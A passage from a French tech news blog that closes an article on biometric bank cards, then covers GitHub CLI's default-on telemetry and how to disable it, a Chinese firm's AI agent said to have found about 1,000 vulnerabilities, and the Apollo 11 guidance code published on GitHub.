Et pour finir sur le côté pratique, la biométrie est une option payante. Bah ouais, 24 balles par an chez BNP et Crédit Agricole, sur des cartes Visa Premier ou Mastercard Gold qui coûtent déjà entre 130 et 180€ annuels, pourquoi se faire chier ? Société Générale a annoncé vouloir descendre en gamme là-dessus, mais pour l'instant, la sécurité forte est réservée à ceux qui peuvent payer. Sécurité à deux vitesses, donc, comme d'hab et moi je trouve que c'est un peu paradoxal pour un truc présenté comme la nouvelle norme.

Bref, mon verdict sur tout ça c'est que le design technique est bon, le match-on-card protège VRAIMENT des fuites massives, et ça c'est un excellent progrès face au PIN à 4 chiffres pour tout ce qui est usage courant. Mais le narratif "fin du code secret" reste faux puisque le PIN perdure en fallback, et surtout, la biométrie pose des problèmes structurels bien connus (non-révocable, vulnérable aux moulages, coercition, enrôlement opaque).

Donc voilà, si demain votre banque vous propose le passage au biométrique, demandez-lui comment se passe l'enrôlement, si le fallback PIN est désactivable, et combien ça coûte. Et peut-être que là, ça pourra être intéressant.

GitHub active par défaut la télémétrie sur son outil en ligne de commande

Depuis la version 2.91.0 du CLI GitHub publiée mardi, chaque commande que vous tapez dans gh envoie des données de télémétrie vers GitHub par défaut. L'activation est silencieuse, sans message au premier lancement, sans consentement explicite, et il faut fouiller dans la doc pour tomber sur la page dédiée au sujet.

GitHub décrit la collecte comme pseudonyme côté client. Concrètement, le payload embarque le nom de la commande lancée, un identifiant d'invocation, un identifiant d'appareil, l'OS, l'architecture, l'agent et quelques drapeaux.

L'entreprise précise que le contenu exact peut varier d'un appel à l'autre. La justification officielle : les équipes produit ont besoin de voir comment le CLI est utilisé, avec la montée en puissance des agents IA qui le pilotent de plus en plus souvent en arrière-plan.

Côté sortie, il y a trois moyens de couper la télémétrie. Vous pouvez définir la variable d'environnement GH_TELEMETRY à false, ou DO_NOT_TRACK à true, ou lancer gh config set telemetry disabled. Simple en apparence.

Sauf que rien de tout ça n'est signalé à l'installation, et qu'un utilisateur qui n'est pas tombé sur le billet de Brandon Vigliarolo dans The Register ne saura probablement pas que c'est activé sur sa machine.

Le terme pseudonyme mérite aussi qu'on le regarde de près. Pseudonyme ne veut pas dire anonyme : il y a un identifiant d'appareil stable, il y a un identifiant d'invocation, et GitHub connaît déjà votre compte si vous êtes authentifié avec gh auth login.

Du coup, le recoupement entre votre activité CLI et votre identité GitHub n'a rien de théorique, même si GitHub ne promet pas de le faire.

En pratique, la télémétrie des outils de dev n'est pas une nouveauté. VS Code le fait depuis des années, npm aussi, et la plupart des éditeurs jouent le même jeu. Ce qui coince ici, c'est le choix de l'opt-out plutôt que de l'opt-in, et l'absence d'annonce claire sur le changelog principal.

Les utilisateurs reprochent surtout à GitHub d'avoir glissé l'info dans une page de doc au lieu d'un billet de blog dédié. Pour un outil qu'utilisent des gens très à cheval sur leur vie privée, c'est un drôle de calcul.

Bref, un outil CLI qui s'active en mode collecte par défaut sans prévenir, ça pique. Heureusement une variable d'environnement suffit à couper. Mais il faut savoir qu'elle existe.

Source : The Register

Un agent IA chinois a trouvé près de 1 000 failles inédites, dont certaines dans Microsoft Office

360 Digital Security, la filiale cybersécurité du géant chinois Qihoo 360, revendique environ mille vulnérabilités inédites déterrées par un agent IA maison baptisé Vulnerability Discovery Agent. 

L'annonce, faite le 22 avril, cite nommément Microsoft Office et le framework open source OpenClaw parmi les logiciels touchés. Le chiffre est donné sur un seul cycle de campagne.

Mille failles non documentées en un seul cycle de recherche, ça fait un peu tourner la tête. Ce type d'agent fonctionne en boucle pour scanner massivement les bases de code, trier ce qui est potentiellement exploitable, et valider les candidats avant publication interne.

Plus tôt dans l'année, 360 avait déjà présenté un autre outil dédié à la construction automatisée de chaînes d'exploitation. L'un déterre les failles, l'autre fabrique le code qui les utilise.

Mis bout à bout, ça donne une ligne de production offensive entièrement pilotée par IA, que l'équipe 360 décrit comme une réponse directe au projet Mythos d'Anthropic, qui fait le même pari côté occidental mais en mode défense.

Le vrai souci, c'est le devenir de ces 1 000 failles. Si toutes ont été remontées aux éditeurs concernés, tant mieux. 360 affirme d'ailleurs avoir utilisé les canaux de divulgation responsables, mais sans publier de calendrier de patch.

Sauf que l'entreprise est connue pour ses liens étroits avec le ministère chinois de la Sécurité d'État, et plusieurs de ses chercheurs ont déjà été soupçonnés par le passé de garder pour l'État ce qu'ils trouvaient. Du coup, l'annonce met les équipes de sécurité occidentales quelque peu en alerte.

Microsoft, qui patche Office tous les mois pour des failles trouvées à la main, va probablement devoir accélérer le rythme si ce genre de scan industriel se généralise. En pratique, la chasse aux vulnérabilités est en train de changer d'échelle.

On passe de quelques failles trouvées par un chercheur humain sur plusieurs semaines à un agent qui en déniche des centaines en quelques jours. Et la logique économique derrière est folle : un seul opérateur bien outillé peut désormais couvrir ce qu'il fallait avant à une équipe complète.

Bref, le mur est tombé côté IA offensive. Et les éditeurs qui patchent à la main ont un vrai problème de cadence face à un scan automatisé à cette échelle.

Source : Bloomberg

Le code qui a posé Apollo 11 sur la Lune est libre d'accès sur GitHub

Le logiciel qui a piloté la descente du module lunaire Eagle le 20 juillet 1969 dort tranquillement dans un dépôt GitHub que n'importe qui peut cloner, lire, voire compiler chez soi. Deux gros paquets d'assembleur AGC : Comanche055 pour le module de commande, Luminary099 pour le module lunaire. Tout est dans le domaine public, puisque développé par la NASA.

Le dépôt chrislgarry/Apollo-11 existe depuis 2016, mais il faut imaginer ce qu'il y a dedans : des dizaines de milliers de lignes d'assembleur écrites à la main entre 1965 et 1969, assemblées sur les mainframes d'époque, puis gravées physiquement dans de la mémoire tissée, la fameuse rope memory, par des ouvrières chez Raytheon qui cousaient le code à l'aiguille. Oui, cousaient, vous voyez le genre en illustration de cet article, ou la photo ci-dessous signée Martin Hertig .

Le travail de numérisation vient de Paul Fjeld, du MIT Museum et de Ron Burkey, qui dirige le projet Virtual AGC depuis des années. Ils ont scanné et corrigé à la main les listings papier conservés au musée, avant que Chris Garry, stagiaire NASA à l'époque, ne les pousse sur GitHub. Le résultat est 100% assembleur AGC, assemblable via l'outil yaYUL qui tourne sous Linux, macOS, Windows et même FreeBSD.

Les commentaires, surtout, font tout le sel de l'archive. Les équipes de Margaret Hamilton, qui dirigeait la Software Engineering Division au MIT Instrumentation Lab, laissaient des remarques moqueuses au milieu des routines critiques. La plus connue : "BURN BABY BURN -- MASTER IGNITION ROUTINE", juste au-dessus du bloc qui déclenchait la mise à feu. Il y a aussi "TEMPORARY, I HOPE HOPE HOPE", collé sur un patch resté en place pendant toute la mission.

Le passage le plus parlant reste la séquence d'alarmes 1201 et 1202 pendant la descente finale. Un radar de rendez-vous mal positionné saturait le calculateur en pleine approche. Le logiciel écrit par l'équipe Hamilton a fait exactement ce qu'il devait faire : abandonner les tâches non critiques, garder le pilotage actif, et laisser Armstrong se poser. Environ 64 Ko de mémoire et deux kilos de ferrite, gérés en priorité tournante, ont sauvé la mission.

Côté usage concret, cloner le dépôt prend deux secondes. Compiler avec Virtual AGC demande un peu plus de patience, mais ça tourne. Vous pouvez ensuite lancer un simulateur et rejouer la descente touche par touche. Pour les curieux, c'est une archive historique géniale. Pour les étudiants en informatique, c'est un cours d'architecture système qu'aucun manuel ne remplace.

Bref, du code vieux de 57 ans, libre, commenté avec humour, et qui a posé deux humains sur la Lune. Pas mal !

Source : Techspot